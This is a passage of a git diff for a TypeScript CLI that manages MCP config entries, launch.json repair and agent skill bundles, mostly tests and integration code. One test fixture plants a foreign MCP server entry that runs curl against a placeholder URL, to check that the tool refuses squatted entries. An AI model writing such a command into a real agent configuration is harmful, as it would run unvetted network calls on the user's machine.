body.actions.find((action) => action.satisfierId === satisfierId);+ expect(step?.action).toBe('written');+ expect(step?.errorId).toBeUndefined();+ expect(existsSync(resolve(tmpDir, '.mcp.json'))).toBe(true);+ expect(body.snapshot.probes.satisfiers[satisfierId]?.state).toBe('satisfied');});- test('continues booting even when repairLaunchJsonFn throws', async () => {+ test('invokes repairLaunchJsonFn with the project cwd before bootServer', async () => {+ const captured: { projectDir: string }[] = [];booted = await bootStartServer({config: makeTestConfig(),cwd: tmpDir,host: TEST_HOST,skipAutoInit: true,- repairLaunchJsonFn: () => {- throw new Error('synthetic launch-json repair failure');+ repairLaunchJsonFn: (opts) => {+ captured.push(opts as { projectDir: string });},});- expect(booted.port).toBeGreaterThan(0);+ expect(captured).toHaveLength(1);+ expect(captured[0].projectDir).toBe(tmpDir);});- test('invokes repairSkillsFn with the project cwd before bootServer', async () => {- const captured: { projectDir: string; reclaimDisableEnv: string | null }[] = [];+ test('the real launch.json sweep logs a removal as routine, not as a problem', async () => {+ const warned: unknown[] = [];+ const debugged: unknown[] = [];+ const log = {+ warn: (ctx: unknown) => warned.push(ctx),+ debug: (ctx: unknown) => debugged.push(ctx),+ info: () => {},+ error: () => {},+ child: () => log,+ };+ mkdirSync(join(tmpDir, '.claude'), { recursive: true });+ writeFileSync(+ join(tmpDir, '.claude', 'launch.json'),+ JSON.stringify(+ {+ configurations: [+ {+ name: 'open-knowledge-ui',+ runtimeExecutable: '/bin/sh',+ runtimeArgs: ['-l', '-c', '# ok-ui-v1\nexit 0'],+ },+ ],+ },+ null,+ 2,+ ),+ );booted = await bootStartServer({config: makeTestConfig(),cwd: tmpDir,host: TEST_HOST,skipAutoInit: true,- repairSkillsFn: async (opts) => {- captured.push(opts as { projectDir: string; reclaimDisableEnv: string | null });- },+ log: log as unknown as NonNullable<Parameters<typeof bootStartServer>[0]['log']>,+ repairMcpConfigsFn: () => ({ outcomes: [], repairedCount: 0 }),});- expect(captured).toHaveLength(1);- expect(captured[0].projectDir).toBe(tmpDir);+ const eventNames = (list: unknown[]) =>+ list+ .map((ctx) => (ctx as { event?: { event?: string } }).event?.event)+ .filter((name): name is string => typeof name === 'string');+ expect(eventNames(debugged)).toContain('launch-json-repair-removed');+ expect(eventNames(warned)).not.toContain('launch-json-repair-removed');+ expect(+ JSON.parse(readFileSync(join(tmpDir, '.claude', 'launch.json'), 'utf-8')).configurations,+ ).toEqual([]);});- test('continues booting even when repairSkillsFn throws', async () => {+ test('continues booting even when repairLaunchJsonFn throws', async () => {booted = await bootStartServer({config: makeTestConfig(),cwd: tmpDir,host: TEST_HOST,skipAutoInit: true,- repairSkillsFn: () => {- throw new Error('synthetic skill repair failure');+ repairLaunchJsonFn: () => {+ throw new Error('synthetic launch-json repair failure');},});expect(booted.port).toBeGreaterThan(0);});- test('AC-C4: OK_RECLAIM_DISABLE=1 forwards reclaimDisableEnv to all three sweep fns', async () => {+ test('writes no SKILL.md anywhere on boot', async () => {+ const home = mkdtempSync(join(tmpdir(), 'ok-start-home-'));+ const prevHome = process.env.HOME;+ process.env.HOME = home;+ try {+ booted = await bootStartServer({+ config: makeTestConfig(),+ cwd: tmpDir,+ host: TEST_HOST,+ skipAutoInit: true,+ });+ await new Promise((r) => setTimeout(r, 0));+ await new Promise((r) => setTimeout(r, 0));+ const wrote: string[] = [];+ const walk = (dir: string): void => {+ for (const e of readdirSync(dir, { withFileTypes: true })) {+ const p = join(dir, e.name);+ if (e.isDirectory()) walk(p);+ else if (e.name === 'SKILL.md') wrote.push(relative(home, p));+ }+ };+ walk(home);+ expect(wrote).toEqual([]);+ expect(existsSync(join(tmpDir, '.claude', 'skills', 'open-knowledge', 'SKILL.md'))).toBe(+ false,+ );+ } finally {+ if (prevHome === undefined) delete process.env.HOME;+ else process.env.HOME = prevHome;+ rmSync(home, { recursive: true, force: true });+ }+ });++ test('AC-C4: OK_RECLAIM_DISABLE=1 forwards reclaimDisableEnv to both sweep fns', async () => {const prevEnv = process.env.OK_RECLAIM_DISABLE;process.env.OK_RECLAIM_DISABLE = '1';const mcpCaptures: Array<{ reclaimDisableEnv: string | null }> = [];const launchCaptures: Array<{ reclaimDisableEnv: string | null }> = [];- const skillCaptures: Array<{ reclaimDisableEnv: string | null }> = [];try {booted = await bootStartServer({config: makeTestConfig(),@@ -543,9 +733,6 @@ describe('bootStartServer (integration)', () => {repairLaunchJsonFn: (opts) => {launchCaptures.push(opts as { reclaimDisableEnv: string | null });},- repairSkillsFn: async (opts) => {- skillCaptures.push(opts as { reclaimDisableEnv: string | null });- },});} finally {if (prevEnv === undefined) delete process.env.OK_RECLAIM_DISABLE;@@ -554,10 +741,9 @@ describe('bootStartServer (integration)', () => {expect(mcpCaptures[0]?.reclaimDisableEnv).toBe('1');expect(launchCaptures[0]?.reclaimDisableEnv).toBe('1');- expect(skillCaptures[0]?.reclaimDisableEnv).toBe('1');});- test('default (no OK_RECLAIM_DISABLE) forwards reclaimDisableEnv=null to all three sweeps', async () => {+ test('default (no OK_RECLAIM_DISABLE) forwards reclaimDisableEnv=null to both sweeps', async () => {const prevEnv = process.env.OK_RECLAIM_DISABLE;delete process.env.OK_RECLAIM_DISABLE;const captured: Array<{ reclaimDisableEnv: string | null }> = [];@@ -573,14 +759,11 @@ describe('bootStartServer (integration)', () => {repairLaunchJsonFn: (opts) => {captured.push(opts as { reclaimDisableEnv: string | null });},- repairSkillsFn: async (opts) => {- captured.push(opts as { reclaimDisableEnv: string | null });- },});} finally {if (prevEnv !== undefined) process.env.OK_RECLAIM_DISABLE = prevEnv;}- expect(captured).toHaveLength(3);+ expect(captured).toHaveLength(2);for (const c of captured) expect(c.reclaimDisableEnv).toBeNull();});diff --git a/packages/cli/src/commands/start.ts b/packages/cli/src/commands/start.tsindex ee760550d..8c2eb71b0 100644--- a/packages/cli/src/commands/start.ts+++ b/packages/cli/src/commands/start.ts@@ -2,7 +2,7 @@ import { spawn as nativeSpawn } from 'node:child_process';import { existsSync as fsExistsSync, realpathSync } from 'node:fs';import { rm } from 'node:fs/promises';import type { Server as HttpServer } from 'node:http';-import { tmpdir } from 'node:os';+import { homedir, tmpdir } from 'node:os';import { basename, dirname, resolve as pathResolve } from 'node:path';import { setTimeout as wait } from 'node:timers/promises';import {@@ -33,6 +33,9 @@ import { makeLazyEmbeddingsKeyStore } from '../auth/embeddings-key-store.ts';import { detectGh, detectGhAccounts } from '../auth/gh-detect.ts';import { makeLazyProbeTokenStore } from '../auth/token-store.ts';import { PACKAGE_VERSION } from '../constants.ts';+import { createCliStepExecutor } from '../integrations/registry-apply.ts';+import { createCliProbeResolver } from '../integrations/registry-probes.ts';+import { userSkillPresentAnywhere } from '../integrations/write-user-skill.ts';import { getNativeTomlMcpEditor } from '../native/toml-config-engine.ts';import { probeOwnManagedEditorMcpEntry } from './acp-harness-probe.ts';import {@@ -42,6 +45,8 @@ import {notFoundMessage,} from './desktop-dispatch.ts';import { ensurePiBridge, probePiBridgeState } from './pi-acp-bridge.ts';+import type { LaunchJsonRepairResult } from './repair-launch-json.ts';+import type { RepairResult } from './repair-mcp-configs.ts';const DEFAULT_IDLE_THRESHOLD_MS = 30 * 60 * 1000;@@ -292,18 +297,13 @@ interface BootStartServerOptions {repairMcpConfigsFn?: (opts: {projectDir: string;reclaimDisableEnv: string | null;- logger?: (event: { event: string }) => void;- }) => unknown;+ logger?: (event: { event: string; severity: 'info' | 'warn' }) => void;+ }) => RepairResult;repairLaunchJsonFn?: (opts: {projectDir: string;reclaimDisableEnv: string | null;- logger?: (event: { event: string }) => void;- }) => unknown;- repairSkillsFn?: (opts: {- projectDir: string;- reclaimDisableEnv: string | null;- logger?: (event: { event: string }) => void;- }) => Promise<unknown> | unknown;+ logger?: (event: { event: string; severity: 'info' | 'warn' }) => void;+ }) => LaunchJsonRepairResult;serveContentAssets?: boolean;reactShellDistDir?: string;singleFile?: string;@@ -390,17 +390,25 @@ export async function bootStartServer(opts: BootStartServerOptions): Promise<Booconst reclaimDisableEnv = process.env.OK_RECLAIM_DISABLE ?? null;- const reclaimEventLogger = (event: { event: string }) => {- const name = typeof event.event === 'string' ? event.event : '';- if (name.endsWith('-failed') || name.endsWith('-error') || name.endsWith('-missing')) {- log.warn({ event }, '[start] reclaim sweep reported a problem');- }+ const reclaimEventLogger = (event: { event: string; severity: 'info' | 'warn' }) => {+ if (event.severity === 'info') log.debug({ event }, '[start] reclaim sweep event');+ else log.warn({ event }, '[start] reclaim sweep reported a problem');};try {const repair =opts.repairMcpConfigsFn ?? (await import('./repair-mcp-configs.ts')).repairMcpConfigs;- repair({ projectDir: cwd, reclaimDisableEnv, logger: reclaimEventLogger });+ const sweep = repair({ projectDir: cwd, reclaimDisableEnv, logger: reclaimEventLogger });+ const unhealed = sweep.outcomes.filter(+ (o) =>+ o.outcome !== 'no-entry' &&+ o.outcome !== 'canonical' &&+ o.outcome !== 'repaired' &&+ o.outcome !== 'foreign',+ );+ if (unhealed.length > 0) {+ log.warn({ unhealed }, '[start] reclaim sweep left entries it could not heal');+ }} catch (err) {log.warn({ err }, '[start] mcp-config repair sweep failed; continuing');}@@ -412,13 +420,6 @@ export async function bootStartServer(opts: BootStartServerOptions): Promise<Boo} catch (err) {log.warn({ err }, '[start] launch.json repair sweep failed; continuing');}-- try {- const repair = opts.repairSkillsFn ?? (await import('./repair-skills.ts')).repairSkills;- await repair({ projectDir: cwd, reclaimDisableEnv, logger: reclaimEventLogger });- } catch (err) {- log.warn({ err }, '[start] skill repair sweep failed; continuing');- }}const contentDir = ephemeralContentDir ?? resolveContentDir(config, cwd);@@ -482,6 +483,14 @@ export async function bootStartServer(opts: BootStartServerOptions): Promise<BooprobeOwnManagedEditorMcpEntry(editorId, agentCwd),probePiAcpBridge: (agentCwd) => probePiBridgeState(agentCwd),ensurePiAcpBridge: (agentCwd) => ensurePiBridge(agentCwd),+ agentIntegrations: (() => {+ const registryCtx = { cwd: ephemeralProjectDir ?? cwd, home: homedir() };+ return {+ probe: createCliProbeResolver(registryCtx),+ execute: createCliStepExecutor(registryCtx),+ userSkillPresentAnywhere,+ };+ })(),idleShutdownMs: idleThresholdMs,...(opts.serverRuntime !== undefined ? { serverRuntime: opts.serverRuntime } : {}),...(opts.bind !== undefined ? { bind: opts.bind } : {}),diff --git a/packages/cli/src/index.ts b/packages/cli/src/index.tsindex 1c72b74c5..2d34fddcb 100644--- a/packages/cli/src/index.ts+++ b/packages/cli/src/index.ts@@ -23,6 +23,7 @@ export { redactContent } from './commands/bug-report-redact.ts';export {ALL_EDITOR_IDS,buildManagedServerEntry,+ droppedManagedKeys,EDITOR_LABELS,EDITOR_TARGETS,type EditorId,@@ -98,6 +99,10 @@ export {pathInstallMarkerPath,} from './integrations/path-shim.ts';export type { IntegrationWriteOutcome } from './integrations/project-integration-writers.ts';+export {+ type CliProbeContext,+ createCliProbeResolver,+} from './integrations/registry-probes.ts';export {type ResolveProjectRootOptions,type ResolveProjectRootResult,@@ -119,6 +124,12 @@ export {removeProjectSkill,writeProjectSkill,} from './integrations/write-project-skill.ts';+export {+ removeUserSkill,+ type UserSkillWriteResult,+ userSkillPresentAnywhere,+ writeUserSkill,+} from './integrations/write-user-skill.ts';export { getNativeTomlMcpEditor } from './native/toml-config-engine.ts';export {type CollectReportBundleOptions,diff --git a/packages/cli/src/integrations/project-integration-writers.test.ts b/packages/cli/src/integrations/project-integration-writers.test.tsindex b7260b515..8533f7163 100644--- a/packages/cli/src/integrations/project-integration-writers.test.ts+++ b/packages/cli/src/integrations/project-integration-writers.test.ts@@ -10,7 +10,7 @@ import {import { tmpdir } from 'node:os';import { join, resolve } from 'node:path';import { afterEach, beforeEach, describe, expect, test } from 'vitest';-import { EDITOR_TARGETS, type EditorId } from '../commands/editors.ts';+import { buildManagedServerEntry, EDITOR_TARGETS, type EditorId } from '../commands/editors.ts';import {applyProjectIntegrations,DEFAULT_PROJECT_INTEGRATIONS,@@ -19,6 +19,11 @@ import {projectSkillWriter,} from './project-integration-writers.ts';+const OWN_MCP_ENTRY = buildManagedServerEntry({+ mode: 'published',+ platformName: process.platform,+});+let tmpRoot: string;let projectDir: string;@@ -164,7 +169,7 @@ describe('projectSkillWriter', () => {writeFileSync(join(copilotHome, 'mcp-config.json'),JSON.stringify({- mcpServers: { 'open-knowledge': { command: 'custom-ok', args: ['mcp'] } },+ mcpServers: { 'open-knowledge': OWN_MCP_ENTRY },}),);@@ -194,11 +199,67 @@ describe('projectSkillWriter', () => {expect(existsSync(outcome.path ?? '')).toBe(false);});- test('does not write the Copilot skill when only shared project MCP wiring exists', () => {+ test('writes the Copilot skill over the dev launcher OpenKnowledge writes for itself', () => {+ const savedEntry = process.argv[1];+ process.argv[1] = join(tmpRoot, 'ok-dev-repo', 'packages', 'cli', 'src', 'cli.ts');+ try {+ writeFileSync(+ join(projectDir, '.mcp.json'),+ JSON.stringify({+ mcpServers: { 'open-knowledge': buildManagedServerEntry({ mode: 'dev' }) },+ }),+ );++ const outcome = projectSkillWriter.write(EDITOR_TARGETS.copilot, projectDir, {+ home: tmpRoot,+ });++ expect(outcome.action).toBe('written');+ } finally {+ process.argv[1] = savedEntry;+ }+ });++ test('writes the Copilot skill over a legacy npx entry that runs our package', () => {writeFileSync(join(projectDir, '.mcp.json'),JSON.stringify({- mcpServers: { 'open-knowledge': { command: 'custom-ok', args: ['mcp'] } },+ mcpServers: {+ 'open-knowledge': {+ command: 'npx',+ args: ['-y', '@inkeep/open-knowledge@latest', 'mcp'],+ },+ },+ }),+ );++ const outcome = projectSkillWriter.write(EDITOR_TARGETS.copilot, projectDir, {+ home: tmpRoot,+ });++ expect(outcome.action).toBe('written');+ });++ test('does not write the Copilot skill over our own entry when the host disabled it', () => {+ writeFileSync(+ join(projectDir, '.mcp.json'),+ JSON.stringify({+ mcpServers: { 'open-knowledge': { ...OWN_MCP_ENTRY, enabled: false } },+ }),+ );++ const outcome = projectSkillWriter.write(EDITOR_TARGETS.copilot, projectDir, {+ home: tmpRoot,+ });++ expect(outcome.action).toBe('skipped-prerequisite');+ });++ test('does not write the Copilot skill for a foreign entry squatting our server name', () => {+ writeFileSync(+ join(projectDir, '.mcp.json'),+ JSON.stringify({+ mcpServers: { 'open-knowledge': { command: 'curl', args: ['https://example.invalid'] } },}),);@@ -210,6 +271,36 @@ describe('projectSkillWriter', () => {expect(existsSync(outcome.path ?? '')).toBe(false);});+ test('writes the Copilot skill when only the shared project .mcp.json carries the entry', () => {+ writeFileSync(+ join(projectDir, '.mcp.json'),+ JSON.stringify({+ mcpServers: { 'open-knowledge': OWN_MCP_ENTRY },+ }),+ );++ const outcome = projectSkillWriter.write(EDITOR_TARGETS.copilot, projectDir, {+ home: tmpRoot,+ });++ expect(outcome.action).toBe('written');+ expect(existsSync(outcome.path ?? '')).toBe(true);+ });++ test('does not read a .mcp.json without our entry as the Copilot skill prerequisite', () => {+ writeFileSync(+ join(projectDir, '.mcp.json'),+ JSON.stringify({ mcpServers: { other: { command: 'echo', args: ['hi'] } } }),+ );++ const outcome = projectSkillWriter.write(EDITOR_TARGETS.copilot, projectDir, {+ home: tmpRoot,+ });++ expect(outcome.action).toBe('skipped-prerequisite');+ expect(existsSync(outcome.path ?? '')).toBe(false);+ });+test('replaces an existing skill and reports action "overwritten"', () => {const first = projectSkillWriter.write(EDITOR_TARGETS.claude, projectDir, {});expect(first.action).toBe('written');@@ -376,3 +467,17 @@ describe('applyProjectIntegrations', () => {}});});++describe('a skill folder OpenKnowledge did not write', () => {+ test('is not replaced: a folder with no SKILL.md fails the write instead of being deleted', () => {+ const stray = join(projectDir, '.claude', 'skills', 'open-knowledge');+ mkdirSync(stray, { recursive: true });+ writeFileSync(join(stray, 'notes.txt'), 'mine');++ const outcome = projectSkillWriter.write(EDITOR_TARGETS.claude, projectDir, {});++ expect(outcome.action).toBe('failed');+ expect(outcome.error).toContain('no SKILL.md');+ expect(existsSync(join(stray, 'notes.txt'))).toBe(true);+ });+});diff --git a/packages/cli/src/integrations/project-integration-writers.ts b/packages/cli/src/integrations/project-integration-writers.tsindex 4ac763f62..ff76d21fd 100644--- a/packages/cli/src/integrations/project-integration-writers.ts+++ b/packages/cli/src/integrations/project-integration-writers.ts@@ -5,7 +5,7 @@ import {type McpInstallOptions,} from '../commands/editors.ts';import { type McpDeclineReason, writeEditorMcpConfig } from '../commands/init.ts';-import { writeProjectSkill } from './write-project-skill.ts';+import { writeProjectSkill, writeProjectSkillToHub } from './write-project-skill.ts';type IntegrationId = 'mcp-config' | 'project-skill';@@ -129,5 +129,15 @@ export function applyProjectIntegrations(outcomes.push(writer.write(target, projectDir, options));}}+ const hub = writeProjectSkillToHub(projectDir, editorIds);+ if (hub) {+ outcomes.push({+ integration: 'project-skill',+ editorId: hub.editorId,+ action: hub.action,+ ...(hub.path ? { path: hub.path } : {}),+ ...(hub.error ? { error: hub.error } : {}),+ });+ }return outcomes;}diff --git a/packages/cli/src/integrations/registry-apply.test.ts b/packages/cli/src/integrations/registry-apply.test.tsnew file mode 100644index 000000000..14f0aff93--- /dev/null+++ b/packages/cli/src/integrations/registry-apply.test.ts@@ -0,0 +1,264 @@+import {+ existsSync,+ mkdirSync,+ mkdtempSync,+ readFileSync,+ rmSync,+ symlinkSync,+ writeFileSync,+} from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import {+ type ApplyReport,+ buildConnectionsView,+ executePlan,+ type IntentDesire,+ planIntents,+ type SatisfierId,+} from '@inkeep/open-knowledge-core';+import { afterEach, beforeEach, describe, expect, it } from 'vitest';+import { EDITOR_TARGETS } from '../commands/editors.ts';+import { type CliWriteContext, createCliStepExecutor } from './registry-apply.ts';+import { collectCliHostSnapshot } from './registry-probes.ts';++let root: string;+let ctx: CliWriteContext;++beforeEach(() => {+ root = mkdtempSync(join(tmpdir(), 'ok-registry-apply-'));+ mkdirSync(join(root, 'project'), { recursive: true });+ mkdirSync(join(root, 'home'), { recursive: true });+ ctx = { cwd: join(root, 'project'), home: join(root, 'home') };+});++afterEach(() => {+ rmSync(root, { recursive: true, force: true });+});++async function run(intents: Array<{ satisfierId: string; desired: IntentDesire }>) {+ const before = await collectCliHostSnapshot(ctx);+ const view = buildConnectionsView({ probes: before.probes, detection: before.detection });+ const plan = planIntents(+ intents.map((intent) => ({+ satisfierId: intent.satisfierId as SatisfierId,+ desired: intent.desired,+ })),+ view,+ );+ return await executePlan(plan, createCliStepExecutor(ctx));+}++function actionFor(report: ApplyReport, satisfierId: string) {+ return report.actions.find((action) => action.satisfierId === satisfierId);+}++async function stateOf(satisfierId: string) {+ const { probes } = await collectCliHostSnapshot(ctx);+ return probes.satisfiers[satisfierId as SatisfierId]?.state;+}++const projectMcpPath = () => join(ctx.cwd, '.mcp.json');++describe('a project MCP artifact', () => {+ it('is written by the same primitive a single toggle uses, and reads back satisfied', async () => {+ const report = await run([+ { satisfierId: 'claude/mcp/project/config-entry', desired: 'present' },+ ]);++ expect(actionFor(report, 'claude/mcp/project/config-entry')?.action).toBe('written');+ expect(existsSync(projectMcpPath())).toBe(true);+ expect(await stateOf('claude/mcp/project/config-entry')).toBe('satisfied');+ });++ it('is removed when the batch names every agent that reads it', async () => {+ await run([{ satisfierId: 'claude/mcp/project/config-entry', desired: 'present' }]);++ const report = await run([+ { satisfierId: 'claude/mcp/project/config-entry', desired: 'absent' },+ { satisfierId: 'copilot/mcp/project/config-entry', desired: 'absent' },+ ]);++ expect(actionFor(report, 'claude/mcp/project/config-entry')?.action).toBe('removed');+ expect(await stateOf('claude/mcp/project/config-entry')).toBe('absent');+ });++ it('reclaims a squatted server name exactly as a single toggle does', async () => {+ writeFileSync(+ projectMcpPath(),+ JSON.stringify({+ mcpServers: { [EDITOR_TARGETS.claude.serverName(ctx.cwd)]: { command: 'not-ours' } },+ }),+ );++ const report = await run([+ { satisfierId: 'claude/mcp/project/config-entry', desired: 'present' },+ ]);++ expect(actionFor(report, 'claude/mcp/project/config-entry')?.action).toBe('overwritten');+ expect(readFileSync(projectMcpPath(), 'utf8')).not.toContain('not-ours');+ expect(await stateOf('claude/mcp/project/config-entry')).toBe('satisfied');+ });+});++describe('an artifact two agents share', () => {+ it('lands in the file its owner writes, not in a file named after the asking agent', async () => {+ const report = await run([+ { satisfierId: 'copilot/mcp/project/config-entry', desired: 'present' },+ ]);++ expect(actionFor(report, 'copilot/mcp/project/config-entry')?.action).toBe('written');+ expect(existsSync(projectMcpPath())).toBe(true);+ expect(await stateOf('claude/mcp/project/config-entry')).toBe('satisfied');+ });+});++describe('a user-global MCP artifact', () => {+ it('is written under the home the caller named', async () => {+ const report = await run([{ satisfierId: 'claude/mcp/user/config-entry', desired: 'present' }]);++ expect(actionFor(report, 'claude/mcp/user/config-entry')?.action).toBe('written');+ expect(await stateOf('claude/mcp/user/config-entry')).toBe('satisfied');+ });++ it('reports no surface for an agent whose config is project-only', async () => {+ const report = await run([{ satisfierId: 'pi/mcp/user/config-entry', desired: 'present' }]);++ const action = actionFor(report, 'pi/mcp/user/config-entry');+ if (action !== undefined) expect(action.action).not.toBe('failed');+ });+});++describe('a project skill bundle', () => {+ it('is projected into the host’s skills root and reads back satisfied', async () => {+ const report = await run([+ { satisfierId: 'claude/mcp/project/config-entry', desired: 'present' },+ { satisfierId: 'claude/skill/project/skill-bundle-copy', desired: 'present' },+ ]);++ expect(actionFor(report, 'claude/skill/project/skill-bundle-copy')?.action).toBe('written');+ expect(await stateOf('claude/skill/project/skill-bundle-copy')).toBe('satisfied');+ });++ it('is removed on request', async () => {+ await run([+ { satisfierId: 'claude/mcp/project/config-entry', desired: 'present' },+ { satisfierId: 'claude/skill/project/skill-bundle-copy', desired: 'present' },+ ]);++ const report = await run([+ { satisfierId: 'claude/skill/project/skill-bundle-copy', desired: 'absent' },+ ]);++ expect(actionFor(report, 'claude/skill/project/skill-bundle-copy')?.action).toBe('removed');+ expect(await stateOf('claude/skill/project/skill-bundle-copy')).toBe('absent');+ });+});+describe('the user-global discovery bundle', () => {+ it('installs into ONE agent and leaves the others alone', async () => {+ const home = join(root, 'home');+ mkdirSync(join(home, '.cursor'), { recursive: true });+ mkdirSync(join(home, '.claude'), { recursive: true });+ await run([{ satisfierId: 'claude/skill/user/skill-bundle-copy', desired: 'present' }]);+ const claudeSkillMd = join(home, '.claude', 'skills', 'open-knowledge-discovery', 'SKILL.md');+ expect(existsSync(claudeSkillMd)).toBe(true);+ const claudeBytesBefore = readFileSync(claudeSkillMd, 'utf8');++ const report = await run([+ { satisfierId: 'cursor/skill/user/skill-bundle-copy', desired: 'present' },+ ]);++ expect(actionFor(report, 'cursor/skill/user/skill-bundle-copy')?.action).toBe('written');+ expect(+ existsSync(join(home, '.cursor', 'skills', 'open-knowledge-discovery', 'SKILL.md')),+ ).toBe(true);+ expect(readFileSync(claudeSkillMd, 'utf8')).toBe(claudeBytesBefore);+ });++ it('declines an agent whose host dir does not exist rather than creating it', async () => {+ const home = join(root, 'home');+ expect(existsSync(join(home, '.codex'))).toBe(false);++ const report = await run([+ { satisfierId: 'codex/skill/user/skill-bundle-copy', desired: 'present' },+ ]);++ expect(actionFor(report, 'codex/skill/user/skill-bundle-copy')).toBeUndefined();+ expect(report.conflicts).toEqual([+ expect.objectContaining({+ kind: 'blocked-satisfier',+ satisfierIds: ['codex/skill/user/skill-bundle-copy'],+ blockedReason: 'structural-na',+ }),+ ]);+ expect(existsSync(join(home, '.codex'))).toBe(false);+ });++ it('installs once the agent host dir exists', async () => {+ const home = join(root, 'home');+ mkdirSync(join(home, '.codex'), { recursive: true });++ await run([{ satisfierId: 'codex/skill/user/skill-bundle-copy', desired: 'present' }]);++ expect(existsSync(join(home, '.codex', 'skills', 'open-knowledge-discovery', 'SKILL.md'))).toBe(+ true,+ );+ });++ it('removes one agent without touching a peer', async () => {+ const home = join(root, 'home');+ mkdirSync(join(home, '.cursor'), { recursive: true });+ mkdirSync(join(home, '.claude'), { recursive: true });+ await run([+ { satisfierId: 'cursor/skill/user/skill-bundle-copy', desired: 'present' },+ { satisfierId: 'claude/skill/user/skill-bundle-copy', desired: 'present' },+ ]);++ const report = await run([+ { satisfierId: 'cursor/skill/user/skill-bundle-copy', desired: 'absent' },+ ]);++ expect(actionFor(report, 'cursor/skill/user/skill-bundle-copy')?.action).toBe('removed');+ expect(existsSync(join(home, '.cursor', 'skills', 'open-knowledge-discovery'))).toBe(false);+ expect(+ existsSync(join(home, '.claude', 'skills', 'open-knowledge-discovery', 'SKILL.md')),+ ).toBe(true);+ });++ it('refuses a removal that would follow a shared root into the peer, and names the peer', async () => {+ const home = join(root, 'home');+ mkdirSync(join(home, '.claude'), { recursive: true });+ await run([{ satisfierId: 'claude/skill/user/skill-bundle-copy', desired: 'present' }]);+ mkdirSync(join(home, '.codex'), { recursive: true });+ symlinkSync(join(home, '.claude', 'skills'), join(home, '.codex', 'skills'), 'dir');++ const report = await run([+ { satisfierId: 'codex/skill/user/skill-bundle-copy', desired: 'absent' },+ ]);++ expect(actionFor(report, 'codex/skill/user/skill-bundle-copy')).toBeUndefined();+ const conflict = report.conflicts.find((entry) => entry.kind === 'unresolved-shared-copy');+ expect(conflict?.agentIds).toEqual(['codex', 'claude']);+ expect(+ existsSync(join(home, '.claude', 'skills', 'open-knowledge-discovery', 'SKILL.md')),+ ).toBe(true);+ });++ it('removes through a shared root once the batch removes the peer too', async () => {+ const home = join(root, 'home');+ mkdirSync(join(home, '.claude'), { recursive: true });+ await run([{ satisfierId: 'claude/skill/user/skill-bundle-copy', desired: 'present' }]);+ mkdirSync(join(home, '.codex'), { recursive: true });+ symlinkSync(join(home, '.claude', 'skills'), join(home, '.codex', 'skills'), 'dir');++ const report = await run([+ { satisfierId: 'codex/skill/user/skill-bundle-copy', desired: 'absent' },+ { satisfierId: 'claude/skill/user/skill-bundle-copy', desired: 'absent' },+ ]);++ expect(report.conflicts).toEqual([]);+ expect(+ existsSync(join(home, '.claude', 'skills', 'open-knowledge-discovery', 'SKILL.md')),+ ).toBe(false);+ });+});diff --git a/packages/cli/src/integrations/registry-apply.ts b/packages/cli/src/integrations/registry-apply.tsnew file mode 100644index 000000000..e2fc46d45--- /dev/null+++ b/packages/cli/src/integrations/registry-apply.ts@@ -0,0 +1,211 @@+import { homedir } from 'node:os';+import { join } from 'node:path';+import {+ EDITOR_PROJECT_CONFIG_PATH,+ type EditorId,+ type ExecutedOutcome,+ type PlannedStep,+ parsePathId,+ type StepExecutor,+} from '@inkeep/open-knowledge-core';+import { getLogger } from '@inkeep/open-knowledge-server';+import { EDITOR_TARGETS, type McpInstallOptions } from '../commands/editors.ts';+import { writeEditorMcpConfig, writeUserMcpConfigs } from '../commands/init.ts';+import { removeOwnMcpEntry } from '../commands/mcp-config-removal.ts';+import { removeProjectSkill, writeProjectSkill } from './write-project-skill.ts';+import { removeUserSkill, writeUserSkill } from './write-user-skill.ts';++const INSTALL_OPTIONS: McpInstallOptions = {+ mode: 'published',+ skipAvailabilityCheck: true,+ replaceEntry: true,+};++export interface CliWriteContext {+ readonly cwd: string;+ readonly home?: string;+}++function fail(): ExecutedOutcome {+ return { action: 'failed', errorId: 'write-failed' };+}++function missing(): ExecutedOutcome {+ return { action: 'skipped-missing', errorId: 'surface-missing' };+}++function logWriteFailure(editor: EditorId, path: string, reason: string | undefined): void {+ getLogger('agent-integrations-apply').warn({ editor, path, reason }, 'skill write failed');+}++function unwritable(): ExecutedOutcome {+ return { action: 'skipped-unsupported', errorId: 'no-writer' };+}++function removalOutcome(kind: 'removed' | 'not-present' | 'left-foreign' | 'declined') {+ switch (kind) {+ case 'removed':+ return { action: 'removed' } as const;+ case 'not-present':+ return { action: 'no-op' } as const;+ case 'left-foreign':+ return { action: 'skipped-foreign', errorId: 'foreign-artifact' } as const;+ case 'declined':+ return { action: 'declined', errorId: 'write-declined' } as const;+ }+}++async function applyUserMcp(+ editor: EditorId,+ ctx: CliWriteContext,+ desired: PlannedStep['desired'],+): Promise<ExecutedOutcome> {+ if (EDITOR_TARGETS[editor].scope !== 'global') return missing();++ if (desired === 'absent') {+ return removalOutcome(removeOwnMcpEntry(EDITOR_TARGETS[editor], '', ctx.home).kind);+ }++ const results = await writeUserMcpConfigs({+ editors: [editor],+ home: ctx.home,+ replaceEntry: true,+ });+ const result = results.find((entry) => entry.editorId === editor);+ if (result === undefined) return fail();+ switch (result.action) {+ case 'written':+ case 'overwritten':+ return { action: result.action };+ case 'declined':+ return { action: 'declined', errorId: 'write-declined' };+ case 'skipped-missing':+ return missing();+ case 'skipped-flag':+ return unwritable();+ default:+ return fail();+ }+}++function applyProjectMcp(+ editor: EditorId,+ ctx: CliWriteContext,+ desired: PlannedStep['desired'],+): ExecutedOutcome {+ const relative = EDITOR_PROJECT_CONFIG_PATH[editor];+ if (relative === null) return missing();+ const projectPath = join(ctx.cwd, relative);++ if (desired === 'absent') {+ return removalOutcome(+ removeOwnMcpEntry(EDITOR_TARGETS[editor], ctx.cwd, undefined, projectPath).kind,+ );+ }++ const result = writeEditorMcpConfig(+ EDITOR_TARGETS[editor],+ ctx.cwd,+ INSTALL_OPTIONS,+ undefined,+ projectPath,+ );+ switch (result.action) {+ case 'written':+ case 'overwritten':+ return { action: result.action };+ case 'declined':+ return { action: 'declined', errorId: 'write-declined' };+ default:+ return fail();+ }+}++function applyUserSkill(+ editor: EditorId,+ ctx: CliWriteContext,+ desired: PlannedStep['desired'],+): ExecutedOutcome {+ const home = ctx.home ?? homedir();+ if (desired === 'absent') {+ const removed = removeUserSkill(editor, home);+ switch (removed.action) {+ case 'removed':+ return { action: 'removed' };+ case 'not-present':+ return { action: 'no-op' };+ case 'skipped-unsupported':+ return missing();+ case 'failed':+ logWriteFailure(editor, removed.path, removed.error);+ return fail();+ 